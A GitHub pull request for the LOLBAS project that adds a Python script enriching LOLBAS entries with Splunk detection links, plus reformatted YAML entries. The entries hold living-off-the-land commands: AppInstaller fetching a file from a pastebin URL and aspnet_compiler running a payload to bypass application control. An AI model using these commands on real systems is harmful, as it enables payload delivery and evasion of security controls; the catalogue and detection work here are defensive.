Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Splunk detections to LOLBAS #242

Open
wants to merge 5 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
182 changes: 182 additions & 0 deletions scripts/enrich_with_splunk.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,182 @@
import yaml
import argparse
import sys
import re
import json
from os import path, walk
from tqdm import tqdm


def read_security_content_detections(SECURITY_CONTENT_PATH, VERBOSE):
types = ["endpoint", "application", "cloud", "network", "web", "experimental", "deprecated"]
manifest_files = []
for t in types:
for root, dirs, files in walk(SECURITY_CONTENT_PATH + 'detections/' + t):
for file in files:
if file.endswith(".yml"):
manifest_files.append((path.join(root, file)))

detections = []
for manifest_file in tqdm(manifest_files):
detection_yaml = dict()
if VERBOSE:
print("processing detection yaml {0}".format(manifest_file))

with open(manifest_file, 'r') as stream:
try:
if 'ssa' not in manifest_file:
object = list(yaml.safe_load_all(stream))[0]
object['file_path'] = manifest_file
except yaml.YAMLError as exc:
print(exc)
print("Error reading {0}".format(manifest_file))
sys.exit(1)
detection_yaml = object
detections.append(detection_yaml)
return detections

def read_lolbas(LOLBAS_PATH, VERBOSE):
types = ["OSBinaries", "OSLibraries", "OSScripts", "OtherMSBinaries"]
manifest_files = []
for t in types:
for root, dirs, files in walk(LOLBAS_PATH + '/yml/' + t):
for file in files:
if file.endswith(".yml"):
manifest_files.append((path.join(root, file)))

lolbas = []
for manifest_file in tqdm(manifest_files):
lolba_yaml = dict()
if VERBOSE:
print("processing lolba yaml {0}".format(manifest_file))

with open(manifest_file, 'r') as stream:
try:
object = list(yaml.safe_load_all(stream))[0]
object['file_path'] = manifest_file
except yaml.YAMLError as exc:
print(exc)
print("Error reading {0}".format(manifest_file))
sys.exit(1)
lolba_yaml = object
lolbas.append(lolba_yaml)
return lolbas

def confirm_match(lolba, matching_id_detections):
matching_detections = []
# grab just the name but not extension
search_word = lolba['Name'].split('.')[0]
# remove any (64) entries
search_word = re.sub(r'\(\d+\)', '', search_word)

for detection in matching_id_detections:
if re.findall(search_word, detection['name'], re.IGNORECASE):
matching_detections.append(detection)

return matching_detections

def insert_splunk_detections(lolba, matching_detections):
splunk_detections = []

# build splunk detection entry object
for matching_detection in matching_detections:
detection_entry = {'Splunk' : "https://research.splunk.com/" + matching_detection['kind'] + "/" + matching_detection['id'] + "/"}
splunk_detections.append(detection_entry)

# clean up current splunk entries
lolba_detections = []
if 'Detection' in lolba and lolba['Detection'] != None:
for detection in lolba['Detection']:
lolba_detections.append(detection)

# extend cleaned up detections with correct splunk urls
lolba_detections.extend(splunk_detections)

# replace list with newly cleaned
lolba['Detection'] = lolba_detections

return lolba

def unique_detections(lolba_with_detections, lolba, VERBOSE):
# unique all detections
unique_detection_list = []
if 'Detection' in lolba_with_detections and lolba_with_detections['Detection'] != None:
for detection in lolba_with_detections['Detection']:
if detection in unique_detection_list:
pass
else:
if VERBOSE:
print("enriching lolba {0} with matching splunk detection: {1}".format(lolba['Name'], detection))
unique_detection_list.append(detection)
lolba['Detection'] = unique_detection_list
return lolba

def enrich_lolbas(detections, lolbas, VERBOSE):
detections_with_mitre = dict()
enriched_lolbas = []

for detection in detections:
detection_obj = dict()
detection_obj['name'] = detection['name']
detection_obj['id'] = detection['id']
detection_obj['description'] = detection['description']
detection_obj['kind'] = detection['file_path'].split('/')[-2]

if 'mitre_attack_id' in detection['tags']:
for mitre_id in detection['tags']['mitre_attack_id']:
if mitre_id not in detections_with_mitre:
detections_with_mitre[mitre_id] = []
detections_with_mitre[mitre_id].append(detection_obj)
else:
detections_with_mitre[mitre_id].append(detection_obj)

lolba_with_detections = dict()
for lolba in lolbas:
for command in lolba['Commands']:
if 'MitreID' in command:
if command['MitreID'] in detections_with_mitre:
matching_id_detections = detections_with_mitre[command['MitreID']]
matching_detections = confirm_match(lolba,matching_id_detections)
lolba_with_detections = insert_splunk_detections(lolba, matching_detections)

# unique all detections
lolba = unique_detections(lolba_with_detections, lolba, VERBOSE)
enriched_lolbas.append(lolba)
return enriched_lolbas

def write_lolbas(enriched_lolbas, LOLBAS_PATH, VERBOSE):
for lolba in enriched_lolbas:
file_path = lolba['file_path']
lolba.pop('file_path')
if VERBOSE:
print(yaml.dump(lolba, indent=2))
with open(file_path, 'w') as outfile:
yaml.dump(lolba, outfile, default_flow_style=False, sort_keys=False)

if __name__ == "__main__":

# grab arguments
parser = argparse.ArgumentParser(description="Generates documentation from Splunk Security Content", epilog="""
This generates documention in the form of jekyll site research.splunk.com from Splunk Security Content yamls. """)
parser.add_argument("-splunk_security_content_path", "--spath", required=False, default='security_content/', help="path to security_content repo")
parser.add_argument("-lolbas_path", "--lpath", required=False, default='.', help="path to the lolbas repo")
parser.add_argument("-v", "--verbose", required=False, default=False, action='store_true', help="prints verbose output")

# parse them
args = parser.parse_args()
SECURITY_CONTENT_PATH = args.spath
LOLBAS_PATH = args.lpath
VERBOSE = args.verbose

if not (path.isdir(SECURITY_CONTENT_PATH) or path.isdir(SECURITY_CONTENT_PATH)):
print("error: {0} is not a directory".format(SECURITY_CONTENT_PATH))
sys.exit(1)

print("processing splunk security content detections")
detections = read_security_content_detections(SECURITY_CONTENT_PATH, VERBOSE)
print("processing lolbas")
lolbas = read_lolbas(LOLBAS_PATH, VERBOSE)
print("enriching lolbas")
enriched_lolbas = enrich_lolbas(detections, lolbas, VERBOSE)
print("writing enriched lolbas")
write_lolbas(enriched_lolbas, LOLBAS_PATH, VERBOSE)
97 changes: 97 additions & 0 deletions scripts/poetry.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

16 changes: 16 additions & 0 deletions scripts/pyproject.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
[tool.poetry]
name = "enrich_with_splunk"
version = "0.1.0"
description = "Enriches LOLBAS YAMLs with Splunk Security Content detections"
authors = ["d1vious <josehelps@gmail.com>"]

[tool.poetry.dependencies]
python = "^3.10"
PyYAML = "^6.0"
tdqm = "^0.0.1"

[tool.poetry.dev-dependencies]

[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"
28 changes: 14 additions & 14 deletions yml/OSBinaries/AppInstaller.yml
Original file line number Diff line number Diff line change
@@ -1,22 +1,22 @@
---
Name: AppInstaller.exe
Description: Tool used for installation of AppX/MSIX applications on Windows 10
Author: 'Wade Hickey'
Author: Wade Hickey
Created: 2020-12-02
Commands:
- Command: start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw
Description: AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY>
Usecase: Download file from Internet
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
- Command: start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw
Description: AppInstaller.exe is spawned by the default handler for the URI, it
attempts to load/install a package from the URL and is saved in C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY>
Usecase: Download file from Internet
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
Full_Path:
- Path: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe
- Path: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml
Resources:
- Link: https://twitter.com/notwhickey/status/1333900137232523264
- Link: https://twitter.com/notwhickey/status/1333900137232523264
Acknowledgement:
- Person: Wade Hickey
Handle: '@notwhickey'
- Person: Wade Hickey
Handle: '@notwhickey'
37 changes: 20 additions & 17 deletions yml/OSBinaries/Aspnet_Compiler.yml
Original file line number Diff line number Diff line change
@@ -1,27 +1,30 @@
---
Name: Aspnet_Compiler.exe
Description: ASP.NET Compilation Tool
Author: Jimmy (@bohops)
Created: 2021-09-26
Commands:
- Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u
Description: Execute C# code with the Build Provider and proper folder structure in place.
Usecase: Execute proxied payload with Microsoft signed binary to bypass application control solutions
Category: AWL Bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows 10, Windows 11
- Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v
none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none
-u
Description: Execute C# code with the Build Provider and proper folder structure
in place.
Usecase: Execute proxied payload with Microsoft signed binary to bypass application
control solutions
Category: AWL Bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows 10, Windows 11
Full_Path:
- Path: c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
- Path: c:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
- Path: c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
- Path: c:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
Code_Sample:
- Code: https://github.com/ThunderGunExpress/BringYourOwnBuilder
- Code: https://github.com/ThunderGunExpress/BringYourOwnBuilder
Detection:
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Sigma: https://github.com/SigmaHQ/sigma/blob/960a03eaf480926ed8db464477335a713e9e6630/rules/windows/process_creation/win_pc_lobas_aspnet_compiler.yml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Sigma: https://github.com/SigmaHQ/sigma/blob/960a03eaf480926ed8db464477335a713e9e6630/rules/windows/process_creation/win_pc_lobas_aspnet_compiler.yml
Resources:
- Link: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
- Link: https://docs.microsoft.com/en-us/dotnet/api/system.web.compilation.buildprovider.generatecode?view=netframework-4.8
- Link: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
- Link: https://docs.microsoft.com/en-us/dotnet/api/system.web.compilation.buildprovider.generatecode?view=netframework-4.8
Acknowledgement:
- Person: cpl
Handle: '@cpl3h'
- Person: cpl
Handle: '@cpl3h'
Loading